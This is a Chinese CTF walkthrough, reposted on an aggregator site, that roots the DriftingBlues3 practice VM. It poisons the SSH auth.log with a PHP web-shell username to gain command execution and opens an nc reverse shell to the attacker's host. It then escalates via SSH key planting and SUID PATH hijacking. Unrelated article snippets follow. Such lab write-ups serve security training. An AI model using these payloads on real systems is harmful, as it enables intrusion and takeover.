driftingblues3靶机(auth.log日志、命令执行)

news2024/11/24 21:03:08

环境准备

靶机链接:百度网盘 请输入提取码

提取码:yc07

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机开放端口和服务情况

2.用dirsearch扫描出目录

dirsearch -u 192.168.1.101

漏洞探测

1.访问网页

2.看下敏感目录里的信息,不让访问/eventadmins目录

3.访问后知道的信息,三个用户名

john buddy buddyG

4.用curl命令查看源码,发现隐藏信息

5.访问网页后有一段base64编码的密文

curl -i -L http://192.168.1.101/littlequeenofspades.html

6.经过俩次解密,得到一个php网页

echo 'L2FkbWluc2ZpeGl0LnBocA==' | base64 -d

7.查看之后,发现特别像auth.log的内容

curl -i -L http://192.168.1.101/adminsfixit.php

8.查看auth.log日志文件后肯定他就是

漏洞利用

1.故意登录ssh,造成报错,看能否在日志里看到

ssh weiqin@192.168.1.101

2.curl -i -L http://192.168.1.101/adminsfixit.php

等几分钟再执行curl命令,发现成功记录了登陆的信息

3.auth日志会保存尝试ssh登录的用户名而不去校验这个用户名是否合法或在本地存在

那么我们就可以在用户名处注入可以被执行的脚本然后尝试访问他就可以实现RCE命令执行

ssh '<?php system($_GET["cmd"]);?>'@192.168.1.101

curl -i -L http://192.168.1.101/adminsfixit.php?cmd=ls

4.开启监听,用nc来反弹shell

http://192.168.1.101/adminsfixit.php?cmd=nc -e /bin/sh 192.168.1.106 4444

权限提升

1.回弹shell成功后用python来弹交互式shell,在robertj用户下发现.ssh目录

python -c 'import pty;pty.spawn("/bin/bash")'

2.既然有.ssh目录那就上传个秘钥

ssh-keygen

3.本地开启8000端口后,靶机将公钥文件下载下来

python3 -m http.server

wget http://192.168.1.106:8000/id_rsa.pub

4.给authorized_keys权限

chmod 777 authorized_keys

5.直接登录就行了

ssh robertj@192.168.1.101 -i id_rsa

6.查询有suid权限执行的文件

find / -perm -u=s -type f 2>/dev/null

7.看到getinfo

执行getinfo会发现,他是由下面这几个命令构成的

ip a cat /etc/hosts uname -a

8.把ip给替换成可以执行提权的命令,然后把环境变量改了,就可以成功提权

9.最后进入root目录,成功拿下!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/101218.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Python】ValueError: Grouper for ‘Code‘ not 1-dimensional

目录&#xff1a;ValueError: Grouper for Code not 1-dimensional解决一、问题描述二、问题分析2.1 构建的DataFrame两列列名一样2.2 情况2三、问题解决一、问题描述 在我进行pandas的groupby分组的时候&#xff0c;我们的数据集如下&#xff1a; 但是在分组时&#xff0c;出…

Oracle sql性能优化案例

v$sql 表字段说明&#xff1a; sql_id&#xff1a;唯一性标识&#xff1b; sql_fulltext&#xff1a;SQL执行内容&#xff1b; elapsed_time&#xff1a;消逝时间&#xff0c;即自然耗费的时间&#xff0c;单位是微妙&#xff0c;10的-6次方秒&#xff1b; cpu_time&#…

手机也可以轻松码代码!两款手机端代码最佳神器Pydroid和Pythonista!

Pyroid是一款支持Android系统的移动代码编译器。 Python 3可以说是Android上一个易于使用且功能强大的Python 3 IDE&#xff0c;它可以帮助您在Android上使用Python、Jupyter笔记本等。 安装 我们可以从应用程序商店下载并安装。安装完成后&#xff0c;需要在第一次打开Python…

我用python生成了一亿棵不同的圣诞树 | 使用Python代码自动生成圣诞树轮廓

圣诞将至&#xff0c;这次来试试用Python代码过圣诞节把~挑战生成一亿棵圣诞树。 文章目录前言一、为什么能生成一亿棵圣诞树&#xff1f;二、怎么根据圣诞树图片生成对应的圣诞树轮廓1.读取圣诞树图片2.二值化圣诞树图片3.提取圣诞树图片轮廓4.显示圣诞树轮廓总结前言 圣诞将…

数据结构作业——第十六周--排序

1 . 单选题 简单 5分 对整数序列&#xff08;8&#xff0c;9&#xff0c;10&#xff0c;4&#xff0c;5&#xff0c;6&#xff0c;20&#xff0c;1&#xff0c;2&#xff09;进行递增排序&#xff0c;采用每趟冒出一个最小元素的冒泡排序算法&#xff0c;需要进行的趟数是____…

重新定义“创新”,戴森以发明家精神引领科技突破

自创立以来&#xff0c;戴森坚持精益工程、寻求颠覆性解决方案&#xff0c;现已成为行业领先的全球科技公司。而在前沿产品背后&#xff0c;其创新理念、发明家精神为戴森一系列不可复制的核心科技和突破性产品奠定了基石。 2022年12月18日&#xff0c;第二届戴森科技节在深圳启…

【pyclipper+增材CAM】轮廓偏置

在增材打印CAM中&#xff0c;我们需要在切片得到的每层轮廓中规划生成打印路径。传统的三轴3D打印的常见填充方式有&#xff1a;轮廓平行填充和方向平行填充。其中轮廓平行填充主要是通过轮廓偏置实现的。 pyclipper安装使用 Python下安装pyclipper库&#xff0c;命令行输入p…

ZigBee环境配置与工程创建 -- IAR for 8051 8.10

IAR8.10版本的安装相对于10.30.1版本的安装要简单的过&#xff0c;同样是做ZigBee的裸机项目开发工具&#xff0c;10版本之前都是旧版的操作界面&#xff0c;如果后期运行协议栈的话可以适配Z-Stask2.5.1a版本 文章目录1. IAR环境安装2.IAR for 8051工程创建3.工程配置4.工程编…

星火计划学习笔记——Apollo决策规划技术详解及实现(以交通灯场景检测为例)

文章目录1. Apollo决策技术详解1.1 Planing模块运行机制1.2 Apollo决策功能的设计与实现1.2.1参考路径 Reference Line1.2.2 交规决策 Traffic rule process1.2.3 路径决策 Path decider1.2.4 速度决策 Speed decider1.2.5 Planing模块运行流程1.2.6 场景 Scenarios2. 交规决策…

AW EC2实例

Hello大家好&#xff0c;我们今天的课时内容是EC2。 EC2大家应该都是比较熟悉了&#xff0c;相信绝大部分人应该都用过。这部分涉及到的内容肯定是比较多的&#xff0c;希望大家对于一些基础的概念已经有所了解了&#xff0c;这个课时我和大家一起总结一下。 当然&#xff0c…

Canvas画布详解API代码演示

Canvas .<canvas>标签&#xff1a;画布标签&#xff0c;本身不具备绘图能力&#xff0c;可以通过脚本(JS)来实现 width:设置画布宽度&#xff0c;默认为300px height:设置画布高度&#xff0c;默认为150px Canvas API&#xff1a;提供通过JavaScript在<canvas>上绘…

【手把手】分布式定时任务调度解析之xxl-job

1、xxl-job好像很火&#xff1f; 在之前我写的讲解Quartz中有介绍过&#xff0c;Quartz有差不多二十年的历史&#xff0c;调度模型已经非常成熟了&#xff0c;而且很容易集成到Spring中去&#xff0c;用来执行业务任务是一个很好的选择。但是越早的设计存在的问题也越明显&…

自适应均衡matlab仿真,对比RLS,LMS以及NLMS的均衡前后星座图效果,调制采用4QAM,16QAM,64QAM

目录 1.算法描述 2.仿真效果预览 3.MATLAB核心程序 4.完整MATLAB 1.算法描述 在无线通信系统中&#xff0c;由于多径效应及码间干扰的存在&#xff0c;信号误码率会升高。均衡技术是一种对抗码间干扰的重要技术。本文将介绍LMS均衡和RLS均衡两种均衡算法。在线性和非线性均…

[附源码]Python计算机毕业设计Django颐养天年辅助平台

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

水溶性CY7-COOH|Cas1353546-78-7|水溶CY7-羧酸

水溶性CY7-COOH|Cas1353546-78-7|水溶CY7-羧酸 CAS号&#xff1a;1628790-40-8&#xff08;氯化物&#xff09;、1628897-82-4&#xff08;不含阴离子&#xff09;、2241083-63-4&#xff08;内盐&#xff09; 外观&#xff1a; 绿色粉末 分子量&#xff1a;519.12 分子式&…

sa-token进阶

介绍sa-token实际应用的高阶用法。 文章目录路由拦截鉴权绑定角色权限标识角色校验/权限校验测试角色标识测试权限标识进阶用法路由拦截鉴权 定义配置类SaTokenConfigure->实现WebMvcConfigurer&#xff0c;设置一个只对login请求放通的拦截器&#xff1a; Configuration …

商密SIG月度动态:文件加密支持SM4算法、Anolis 8.8将默认集成 | 龙蜥 SIG

商密软件栈 SIG 目标&#xff1a;基于Anolis Linux&#xff0c;在整个系统软件层面&#xff08;包括硬件&#xff0c;固件&#xff0c;bootloader&#xff0c;内核以及 OS&#xff09;实现以商密算法为主的全软件栈商密操作系统&#xff0c;结束一直以来商密软件生态碎片化的状…

B站李沐讲论文笔记Resnet

研一学生笔记&#xff0c;若有看官&#xff0c;笔下留情 作者 Kaiming He Xiangyu Zhang Shaoqing Ren&#xff08;在蔚来居然&#xff09; Jian Sun&#xff08;导师&#xff09; Microsoft Research 摘要&#xff1a; 我们提出一个网络&#xff0c;他可以简化网络的训练&…

【 Apifox】Apifox的前置操作与后置操作

Apifox官网地址&#xff1a;http://apifox.cn/a103abcc 文章目录一、断言二、提取变量三、数据库操作结语一、断言 后置操作支持添加断言&#xff0c;可对接口返回的数据&#xff08;或响应时间&#xff09;设置断言&#xff0c;判断是否符合预期。 设置断言&#xff1a; 运行…

与客户共解难题:BPM如何高标准国产化?

作为深耕中国本土BPM市场近二十年的老牌企业&#xff0c;上海斯歌已服务超过700家大型及超大型企业&#xff0c;在医药、汽车汽配、智能制造、房地产等行业积淀了深厚的服务能力&#xff0c;从始至终斯歌都在思考&#xff1a;如何以最佳的服务能力解决客户需求&#xff0c;成就…